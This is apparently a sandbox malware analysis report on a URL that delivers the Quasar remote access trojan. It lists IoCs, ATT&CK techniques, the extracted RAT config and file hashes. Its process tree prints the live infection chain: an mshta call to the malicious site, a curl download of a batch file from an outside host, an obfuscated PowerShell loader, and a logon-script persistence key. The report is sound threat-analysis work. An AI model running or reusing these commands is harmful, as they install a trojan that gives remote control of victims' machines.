quasar | hxxps://048-cf[.]com

Resubmissions

09/09/2026, 15:03

260909-sfc78syses10

09/09/2026, 15:02

260909-sepjwaysdx3

09/09/2026, 14:58

260909-schcsafq8x10

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
09/09/2026, 15:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://048-cf.com
Sample260909-sfc78syses

Score

10^/10

costura discovery execution quasar packer persistence spyware trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://048-cf.com/

Extracted

Family

quasar

Attributes

encryption_key
DD1F83EF3A28BD6F21280FBD6DB688FCB449180E
install_name
��vüp=��
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/3792-303-0x00000198A55C0000-0x00000198A5660000-memory.dmp	family_quasar

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
65	5016	mshta.exe
67	5016	mshta.exe
79	3792	powershell.exe
88	3792	powershell.exe
90	3792	powershell.exe
92	3792	powershell.exe
94	3792	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
88	3792	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000\Control Panel\International\Geo\Nation	mshta.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000\Environment\UserInitMprLogonScript = "\"C:\\Windows\\System32\\conhost.exe\" --headless \"C:\\Windows\\System32\\cmd.exe\" /D /Q /c \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\v5378\\v1431.bat\""	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
93	api.ipify.org

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral1/memory/3792-303-0x00000198A55C0000-0x00000198A5660000-memory.dmp	costura

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3792	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1008	cmd.exe
2484	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4028	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134334398359562807"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1108628292-2849104889-3743975892-1000\{EF2A7002-7341-4811-AFEC-5E3DBA5C76D2}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3792	powershell.exe
3792	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3792	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3792	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 4632	4900	msedge.exe	84
PID 4900 wrote to memory of 4028	4900	msedge.exe	85
PID 4900 wrote to memory of 3684	4900	msedge.exe	86
PID 4900 wrote to memory of 3684	4900	msedge.exe	86
PID 4900 wrote to memory of 3684	4900	msedge.exe	86
PID 4900 wrote to memory of 1420	4900	msedge.exe	88
PID 4900 wrote to memory of 1420	4900	msedge.exe	88
PID 4900 wrote to memory of 1860	4900	msedge.exe	89
PID 4900 wrote to memory of 4700	4900	msedge.exe	90
PID 4900 wrote to memory of 1860	4900	msedge.exe	89
PID 4900 wrote to memory of 1860	4900	msedge.exe	89
PID 4900 wrote to memory of 4700	4900	msedge.exe	90
PID 4900 wrote to memory of 4700	4900	msedge.exe	90
PID 4900 wrote to memory of 1836	4900	msedge.exe	91
PID 4900 wrote to memory of 4580	4900	msedge.exe	92
PID 4900 wrote to memory of 1836	4900	msedge.exe	91
PID 4900 wrote to memory of 1836	4900	msedge.exe	91
PID 4900 wrote to memory of 4580	4900	msedge.exe	92
PID 4900 wrote to memory of 4580	4900	msedge.exe	92
PID 4900 wrote to memory of 3052	4900	msedge.exe	98
PID 4900 wrote to memory of 3052	4900	msedge.exe	98
PID 4900 wrote to memory of 4344	4900	msedge.exe	97
PID 4900 wrote to memory of 4344	4900	msedge.exe	97
PID 4900 wrote to memory of 1628	4900	msedge.exe	100
PID 2256 wrote to memory of 5016	2256	cmd.exe	109
PID 5016 wrote to memory of 1008	5016	mshta.exe	115
PID 1008 wrote to memory of 2028	1008	cmd.exe	117
PID 1008 wrote to memory of 2484	1008	cmd.exe	118
PID 2484 wrote to memory of 5088	2484	cmd.exe	120
PID 2484 wrote to memory of 3792	2484	cmd.exe	121

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	69	curl/8.7.1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://048-cf.com
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x298,0x7ffc35a0c188,0x7ffc35a0c194,0x7ffc35a0c1a0
  2⤵
  PID:4632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1772,i,13566597964294844982,838382000363609088,524288 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1644,i,2453514102978063740,4473759832699253849,262144 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:2
  2⤵
  PID:3684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2032,i,2198999455394367816,7906611690920235764,524288 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=2564 /prefetch:8
  2⤵
  PID:1420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3404,i,10781654970532495874,3118170500216063391,2097152 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
  2⤵
  PID:1860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3416,i,15473399393718657056,317025159736363044,2097152 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
  2⤵
  PID:4700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3192,i,14920263747513277960,17752511130219847727,2097152 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
  2⤵
  PID:1836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4100,i,2390415236917487967,2969688107613099802,2097152 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:2
  2⤵
  PID:4580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5136,i,18103828847981596093,5779602204587213727,524288 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5140,i,626384036160013459,12242640966762232279,524288 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:3052
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5748,i,18248223913204983371,12297385322790135169,524288 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:8
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5748,i,18248223913204983371,12297385322790135169,524288 --field-trial-handle=2192,i,11547047944152879296,17369930143356859077,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:8
  2⤵
  PID:1628

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4060

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\system32\mshta.exe
  mshta https://048-cf.com/
  2⤵
  - Badlisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Searches\~sec_45553.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1008
  - - C:\Windows\system32\curl.exe
      curl -L "https://pub-fa1b0a63273145288d1cca0715a76bd2.r2.dev/output.bat" -o "C:\Users\Admin\output.bat"
      4⤵
      PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\output.bat"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2484
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo($adjunctBugzilla10='';ForEaCh($organizerExposure in GEt-coNTenT -LITeraLPath $env:exploitati){IF($organizerExposure.STARtSWITH('::Zm ')){$adjunctBugzilla10+=$organizerExposure.SubStriNg(5)}};[ScRiPTBLoCk]::cReATE($adjunctBugzilla10).iNVoke() "
        5⤵
        
        PID:5088
    - - C:\Windows\SyStem32\WINDOwSPowERsHELL\v1.0\powershell.exe
        
        "C:\Windows\SyStem32\WINDOwSPowERsHELL\v1.0\powErshEll.EXe" -NOni -nOProFILe -COMmAnD -
        5⤵
        Badlisted process makes network request
        Downloads MZ/PE file
        Registers new Windows logon scripts automatically executed at logon.
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 b2d86bb9635e04c694403b46b456ec83da9c370d96a21b15fedba9be06b8e402
MD5 4e53b8aef808dccc6661e3fb447c2054
SHA1 acccfaf681928a627e8dfa4800d80e4660d2ef04
SHA512 13032d466f22156730bff2ac4de38d89c66d27f0adbccfa995aadd43d09216e0aded976b46c0418706370333080baf61ca1adc51bd2e043c578c3b251ad07d2d
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P74:fwUQC5VwBIiElEd2K57P74
TLSH
T195B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8c7f0630d6892b4fc7484d14728813fa3e966741d4391d779c988e3db10267ab
MD5 6bd947e2918076fa788fd8b47cc7cd8d
SHA1 eb4d08b453494c9f196b3b76a08be5b0a04460bd
SHA512 b5910c93ba9002a776591d6e30f5a122b978d5b3bcdcb0a4237a88b4de1f6469893f5d3a20b8e042bf8b755572b50421772ecf4b21a8408859a35ea7208a4c7b
TLSH
T188D0232079DCB5D2D171327A45210B41365D5EA526536106F420454DCEB508293F5D9A
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 0382957c99791bbf37f0a292a68a688ba898893f53c7be2d420d0abfa3205949
MD5 80e81afd519a94b0e3f1e843218d3393
SHA1 093d55b2a0251e8969cd893db151c2617d83ebb1
SHA512 192644826f1731a384b4a8a62d6df749510036d4f447f976a99b3b16ab73b188a9f8602e8e5e57f53a4ecc919d28bd8b5b97a0d5dd2b3cfaa58fdd196e2db9a1
TLSH
T148D08033364D6002D7A573B3D447CF45175E557415525601F124D54CD6F50C49397686
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 eb6e4c3c1ff9ed97bb67aeb0d434ffe02961fef2204006156de0c8016e804f8c
MD5 ad47d0f507ef049d8589a010a5742cb0
SHA1 b6cd0d47a5138ac8c4b9f43cfb419391ca142fa6
SHA512 8347fe69939685ced24d8db2ac65a696d817ae5d3cc9eaadabcc077032027d0ae50a34c8744211ec16388506f4257888fbaa081dbfc2aa366d9e0e40c78e2b89
TLSH
T1ABD08033368D6402DBA573B3D447CF45175E557415529702F124D54CC6F50C49397686
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 f040df7d8e3221fccbd3caf493eff103122066b2e32e1976b1a27f416c5b709b
MD5 fe7542b636958fe58ea849ff3aa7805d
SHA1 8971397ec766f67b783ea8f4f9e0896da00e7390
SHA512 754c29d62c4ba8d9417186f4a3377e3d0164496d7b39781b2ed84e925c8b83b6b9e2da6fefbbaf6d7845c4c59f0b35516024f123666d42974e490247f0b05bb0
TLSH
T19D713B26124387E4E351FD32B0F3AE8E3571B9FAC90B3F86259454317709362C56084B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58a91c.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58a91c.TMP
Size 3KB
SHA256 bfc03b77827b7b6d28cddc533e5745cac97631c3e537b8a709d89b6c178f788a
MD5 baa5c7a7eabb4ccaf489e411063a0683
SHA1 efb41dcf903170c1c2cbdd9476aae743710fd758
SHA512 b64854c06cc9815d8226fac5ab2a6c644c9e9e4da9ac0219ab0fba862b21c989da3bc0c211ccfa2eb0d6b11e9c0bc552dd64b9cf6458ca8b63b8952d00c3dca2
TLSH
T19C712A26125387E4E351FD72B1F2AE9E3571B9FAC90B3F8A25A448717709362C96084B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 e0a3fac29dce0a19118beb5c24478be51c7eed0af829387ca2ba0aaa4fba09f5
MD5 d0ea0a59073430b270957be3c1833b92
SHA1 62bafab7453f3c459d6d1cea6fa17abad3f71bbd
SHA512 f6e9d7692487ece3970e491785a581e66b7af93e3d286d329883a9e31a954cc79f806ff19633e3a6947c43b451d99fd6f9ec1ecebe652d7e7c9e7b478d4d57a6
TLSH
T19221CAF383E685AE890256F05A24AE1BCE2C0A15432C3D29C9D4FF27D3F3475E10265B
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 ec6ed4a5c2edd14918ca20a16882ccf093fc6a4d912495cd3911e3bfa8b06211
MD5 1e6ed29006212be10853feb83082728a
SHA1 0a78f4a85e89b179ece0a7d2d5ba8b3de1324393
SHA512 e346d86a5eab94c28afbc08f17d11e2a11d9aae1000984688e2309f57ae51ea723972a49dae75cbf3a2ebe967aefa30076c9b5cc2686d449e737991cf20eff25
SSDEEP 192:sxZ7RByM/jK1Ml8MWu/fds3/uIdpJHW6+WNGY4LWHaIgrJ:sxZ7Ruu/fds3//JHbG19
TLSH
T11942C6156B34A97BCCDBD20DBA417F93D6F9157292900E44A9FCCA1C04E6AED2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 1f98fdafb31f4e04824a0f193ffa69fc8b95a2590b823e1539ce94bab16cf848
MD5 32f06fc714d27a00ed4aa43ccb6ef61c
SHA1 cb963ccad9443261d71c19f558c0a45702947c88
SHA512 b71ee83a601ead50015396b8e112b46bb77243bff3dc2999f2a27d75997144fe282ad01560bfaadcb72b9cdee7ed8b12740c6f24306829410a18b61f4f87bf0b
SSDEEP 192:sxZ7RByM/jK1Ml8uWu/fdsoWpVJ/uIdpJHW6+WNGY4RNCroIgFJ:sxZ7Ryu/fdsoWvJ//JHbG4Yv
TLSH
T11C42E915AA34A97BCCDBD20DFA557F93D6F91432A2900E4499FCCA1C05E6AED2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 c5d88e1b439fdd14653e3fe6cd93ab055c01ff001e8105fc08f25ca51bc6fd6d
MD5 f14d4f6cd1113638000663f2fdf7cf37
SHA1 6626ff60b7bcc69db3f57303d47fc95fb2727346
SHA512 47ff6f2ece8eb0b645382ba2bea86d1a5904fa17060076519dc2b0fa9b7291a168d038e2a50cc659128e00eab6f5aaad2d2b4693a5118d05da37ec9e20b8588a
SSDEEP 768:uHEPO/KWvWeI58F1+UoAYDCx9Tuqh0VfUC9xbog/OVKqLlBHu1ZroAgGSS:uHEPO/KWvWeI5u1jafqLXO1S6SS
TLSH
T133D20A2B680CCB7E4F840E9DEC26AF966ED801CB67984D5447FA884C03C77EF512659B
